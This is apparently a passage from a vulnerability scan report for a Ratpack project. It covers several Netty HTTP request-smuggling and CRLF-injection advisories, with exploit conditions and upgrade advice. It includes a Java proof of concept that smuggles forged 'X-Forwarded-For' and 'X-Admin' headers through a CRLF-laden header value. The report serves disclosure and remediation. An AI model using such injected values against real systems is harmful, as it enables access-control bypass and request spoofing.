    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
    assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

    // Request 1
    HttpRequest request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    HttpContent content = channel.readInbound();
    assertTrue(content.decoderResult().isSuccess());
    assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
    content.release();
    LastHttpContent last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();

    // Request 2
    request = channel.readInbound();
    assertTrue(request.decoderResult().isSuccess());
    last = channel.readInbound();
    assertTrue(last.decoderResult().isSuccess());
    last.release();
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-codec-http@4.2.10.Final

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.netty:netty-codec-http@4.2.10.Final
    Remediation: Upgrade to io.netty:netty-codec-http@4.2.13.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the setUri function. An attacker can inject arbitrary CRLF sequences into the HTTP or RTSP request line by supplying crafted input to setUri, leading to the creation of additional requests or manipulation of request boundaries when the object is serialized by HttpRequestEncoder or RtspEncoder. This can result in request smuggling, desynchronization, or unauthorized access to internal APIs if attacker-controlled input is passed to setUri and subsequently encoded.

Note:

This is only exploitable if all of the following conditions are met:

  • The application uses DefaultHttpRequest or DefaultFullHttpRequest;

  • The request object is created first and later modified through setUri();

  • The value passed into setUri() is attacker-controlled or attacker-influenced;

  • The object is eventually serialized by HttpRequestEncoder or RtspEncoder.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

medium severity
new

CRLF Injection

  • Vulnerable module: io.netty:netty-handler-proxy
  • Introduced through: io.ratpack:ratpack-core@1.9.0 and io.ratpack:ratpack-guice@1.9.0

Detailed paths

  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final
  • Introduced through: Cantara/ratpack-guice-config@Cantara/ratpack-guice-config io.ratpack:ratpack-guice@1.9.0 io.ratpack:ratpack-core@1.9.0 io.netty:netty-handler-proxy@4.1.63.Final

Overview

Affected versions of this package are vulnerable to CRLF Injection in the newInitialMessage function of HttpProxyHandler when header validation is explicitly disabled and user-influenced outboundHeaders are added without sanitization. An attacker can inject arbitrary HTTP headers into proxy requests by supplying malicious header values containing CRLF sequences.

Notes:

  • This is only exploitable if the application uses HttpProxyHandler with user-influenced outboundHeaders and does not perform its own CRLF sanitization on header values.

  • This is caused due to an incomplete fix for CVE-2025-67735.

PoC

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

Remediation

Upgrade io.netty:netty-handler-proxy to version 4.1.133.Final, 4.2.13.Final or higher.

References